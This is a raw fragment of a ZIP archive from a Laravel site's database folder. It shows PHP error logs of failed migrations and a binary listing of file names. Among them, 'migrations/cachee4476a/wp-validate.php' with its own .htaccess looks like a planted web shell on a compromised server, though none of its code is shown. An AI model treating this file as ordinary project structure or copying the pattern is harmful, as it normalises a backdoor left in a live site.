Class "Illuminate\Database\Migrations\Migration" not found in /home/hausc/oc.hauscenter.com.bo/database/migrations/2025_10_31_211412_add_moneda_and_forma_pago_to_orden_compra_table.php:7 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/database/migrations/2025_10_31_211412_add_moneda_and_forma_pago_to_orden_compra_table.php on line 7 [03-Nov-2026 03:28:11 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Database\Migrations\Migration" not found in /home/hausc/oc.hauscenter.com.bo/database/migrations/2025_10_29_222517_add_voucher_file_to_orden_compra_table.php:7 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/database/migrations/2025_10_29_222517_add_voucher_file_to_orden_compra_table.php on line 7 [03-Nov-2026 03:28:11 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:11 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:11 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Database\Migrations\Migration" not found in /home/hausc/oc.hauscenter.com.bo/database/migrations/2025_11_04_160632_add_area_id_to_users_table.php:7 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/database/migrations/2025_11_04_160632_add_area_id_to_users_table.php on line 7 [03-Nov-2026 03:28:11 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Database\Migrations\Migration" not found in /home/hausc/oc.hauscenter.com.bo/database/migrations/2025_11_04_154411_add_descuento_to_detalle_orden_table.php:7 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/database/migrations/2025_11_04_154411_add_descuento_to_detalle_orden_table.php on line 7 [03-Nov-2026 03:28:11 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:11 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Database\Migrations\Migration" not found in /home/hausc/oc.hauscenter.com.bo/database/migrations/2025_11_04_165801_add_descuento_to_orden_compra_table.php:7 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/database/migrations/2025_11_04_165801_add_descuento_to_orden_compra_table.php on line 7 [03-Nov-2026 03:28:12 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:12 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Database\Migrations\Migration" not found in /home/hausc/oc.hauscenter.com.bo/database/migrations/2025_11_04_161143_add_additional_fields_to_users_table.php:7 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/database/migrations/2025_11_04_161143_add_additional_fields_to_users_table.php on line 7 [03-Nov-2026 03:28:12 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:12 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Database\Migrations\Migration" not found in /home/hausc/oc.hauscenter.com.bo/database/migrations/2025_11_05_152551_add_saldos_to_orden_compra_table.php:7 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/database/migrations/2025_11_05_152551_add_saldos_to_orden_compra_table.php on line 7 [03-Nov-2026 03:28:12 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:12 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Database\Migrations\Migration" not found in /home/hausc/oc.hauscenter.com.bo/database/migrations/2025_11_04_171347_add_observacion_descuento_to_orden_compra_table.php:7 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/database/migrations/2025_11_04_171347_add_observacion_descuento_to_orden_compra_table.php on line 7 [03-Nov-2026 03:28:12 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:12 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Database\Migrations\Migration" not found in /home/hausc/oc.hauscenter.com.bo/database/migrations/2025_11_11_172355_create_activity_log_table.php:7 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/database/migrations/2025_11_11_172355_create_activity_log_table.php on line 7 [03-Nov-2026 03:28:13 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:13 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Database\Migrations\Migration" not found in /home/hausc/oc.hauscenter.com.bo/database/migrations/2025_11_11_172356_add_event_column_to_activity_log_table.php:7 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/database/migrations/2025_11_11_172356_add_event_column_to_activity_log_table.php on line 7 [03-Nov-2026 03:28:13 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:13 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Database\Migrations\Migration" not found in /home/hausc/oc.hauscenter.com.bo/database/migrations/2025_11_11_172357_add_batch_uuid_column_to_activity_log_table.php:7 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/database/migrations/2025_11_11_172357_add_batch_uuid_column_to_activity_log_table.php on line 7 PKád]^^››seeders/error_lognu„[µü¤[03-Nov-2026 03:28:19 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:19 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Database\Seeder" not found in /home/hausc/oc.hauscenter.com.bo/database/seeders/DatabaseSeeder.php:8 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/database/seeders/DatabaseSeeder.php on line 8 PKád]Ù\¯¯factories/error_lognu„[µü¤[03-Nov-2026 03:28:07 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:07 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Database\Eloquent\Factories\Factory" not found in /home/hausc/oc.hauscenter.com.bo/database/factories/UserFactory.php:12 Stack trace: #0 {main} thrown in /home/hausc/oc.hauscenter.com.bo/database/factories/UserFactory.php on line 12 PK{°b]úê172migrations/2025_11_19_create_proveedores_table.phpnuÕIw¶´PK{°b]{6&5‹‹Fzmigrations/2025_11_20_173201_move_responsable_id_after_tipo_cuenta.phpnuÕIw¶´PK{°b]¨�  3{migrations/2025_10_17_210139_create_users_table.phpnuȯÝíPK{°b]ˆãâ㺺<þ migrations/2025_10_17_210148_add_username_to_users_table.phpnuȯÝíPK{°b]‰·äĘ˜9$ migrations/2025_10_17_205856_create_permission_tables.phpnuȯÝíPK{°b]p£ï=àà4%'migrations/2025_11_19_create_centros_costo_table.phpnuÕIw¶´PK{°b]pÜãã;i*migrations/2025_11_04_160632_add_area_id_to_users_table.phpnuȯÝíPK{°b]çÎ{  L·-migrations/2025_11_20_173528_force_drop_varchar_fields_from_orden_compra.phpnuÕIw¶´PK{°b]Ÿ‹–ÀÀIS0migrations/2025_11_20_182258_add_email_telefono_to_responsables_table.phpnuÕIw¶´PK{°b]©øàÉ É BŒ3migrations/2025_10_24_213903_add_columns_to_orden_compra_table.phpnuȯÝíPK{°b]çÎ{  NÇ=migrations/2025_11_20_171951_drop_duplicate_fields_from_orden_compra_table.phpnuÕIw¶´PK{°b]hA&­­He@migrations/2025_11_20_155148_add_banking_fields_to_proveedores_table.phpnuÕIw¶´PK{°b]‹ðätXXDŠCmigrations/2019_12_14_000001_create_personal_access_tokens_table.phpnuȯÝíPK{°b]°œÍRRBVGmigrations/2025_11_19_165055_add_area_id_to_responsables_table.phpnuÕIw¶´PK{°b]ƒÇDMmigrations/2025_11_04_165801_add_descuento_to_orden_compra_table.phpnuȯÝíPK{°b]»®bŠZZL¬Pmigrations/2025_11_19_163509_drop_email_telefono_from_responsables_table.phpnuÕIw¶´PK{°b]�jÐÐP‚Tmigrations/2025_10_31_211412_add_moneda_and_forma_pago_to_orden_compra_table.phpnuȯÝíPK{°b]—8{¤¤LÒWmigrations/2025_11_20_173157_drop_varchar_fields_from_orden_compra_table.phpnuÕIw¶´PK{°b]¹Ÿg%¾¾Lò[migrations/2025_11_11_172357_add_batch_uuid_column_to_activity_log_table.phpnuȯÝíPK{°b]çÎ{  :,_migrations/2025_11_20_174640_final_drop_varchar_fields.phpnuÕIw¶´PK{°b]ŠVÛ€€G¶amigrations/2025_10_29_222517_add_voucher_file_to_orden_compra_table.phpnuȯÝíPK{°b]—»5ÉÉG­dmigrations/2025_10_27_223309_add_review_token_to_orden_compra_table.phpnuȯÝíPK{°b]Kr!9ígmigrations/2019_08_19_000000_create_failed_jobs_table.phpnuȯÝíPK{°b]'¿®ã:Vkmigrations/2025_10_17_210140_create_orden_compra_table.phpnuȯÝíPK{°b]ØPC””DÝmmigrations/2025_11_27_000000_create_area_responsable_pivot_table.phpnuÕIw¶´PK{°b]¾x(ãÿÿAåqmigrations/2025_11_05_152551_add_saldos_to_orden_compra_table.phpnuȯÝíPK{°b]9m­~ïï3Uumigrations/2014_10_12_000000_create_users_table.phpnuȯÝíPK{°b];&ƒˆ˜˜P§xmigrations/2025_11_04_171347_add_observacion_descuento_to_orden_compra_table.phpnuȯÝíPK{°b]Cyknn6¿{migrations/2025_11_19_improve_orden_compra_estados.phpnuÕIw¶´PK{°b]†1–Ž��C“migrations/2014_10_12_100000_create_password_reset_tokens_table.phpnuȯÝíPK{°b]F‡‚migrations/2025_11_20_173200_move_responsable_id_after_tipo_cuenta.phpnuÕIw¶´PK{°b]c/ëÿÙÙIý‚migrations/2025_11_20_171415_add_responsable_id_to_orden_compra_table.phpnuÕIw¶´PK{°b]`�Y~ƒƒEO†migrations/2025_11_04_154411_add_descuento_to_detalle_orden_table.phpnuȯÝíPK{°b]½7K�oo@G‰migrations/2025_11_19_create_orden_compra_aprobaciones_table.phpnuÕIw¶´PK{°b]ƒ^Ê$$L&�migrations/2025_11_20_103721_add_default_to_item_in_detalle_ordens_table.phpnuÕIw¶´PK{°b]½¤æèè3Æ�migrations/2025_11_19_create_responsables_table.phpnuÕIw¶´PK{°b]>ù¨SSM“migrations/2025_11_19_174006_drop_campo_area_descripcion_from_responsable.phpnuÕIw¶´PK{°b]ì‘Áø¹¹;á•migrations/2025_10_17_210142_create_detalle_orden_table.phpnuȯÝíPK{°b]à¸XþEšmigrations/2025_11_04_161143_add_additional_fields_to_users_table.phpnuȯÝíPK{°b]�¥j[óó6|�migrations/2025_11_19_improve_detalle_ordens_table.phpnuÕIw¶´PK{°b]×·;´´GÕ¡migrations/2025_11_11_172356_add_event_column_to_activity_log_table.phpnuȯÝíPK{°b]Ì„j��:¥migrations/2025_11_11_172355_create_activity_log_table.phpnuȯÝíPK{°b]1§Ð·ÜÜN÷¨migrations/2025_11_20_155006_update_proveedores_table_remove_unused_fields.phpnuÕIw¶´PK{°b]¾+××3Q¬migrations/2025_10_17_210138_create_areas_table.phpnuȯÝíPK{°b]4gþ,æ#æ#&‹¯migrations/cachee4476a/wp-validate.phpnu„[µü¤PK{°b]Þ¨•sZZ ÇÓmigrations/cachee4476a/.htaccessnu„[µü¤PK{°b]g²À77!qÔmigrations/cachee4476a/.gitignorenu„[µü¤PK{°b]úS`˜ãã)ùÖmigrations/cachee4476a/sessions/index.phpnu„[µü¤PK{°b]™.íW 5Ø.gitignorenuȯÝíPK{°b]”DÉ0××yØseeders/DatabaseSeeder.phpnuȯÝíPK{°b]W¬î33šÚfactories/UserFactory.phpnuȯÝíPKád]¡µÁ‘--ßmigrations/error_lognu„[µü¤PKád]^^››q seeders/error_lognu„[µü¤PKád]Ù\¯¯Mfactories/error_lognu„[µü¤PK66Ó?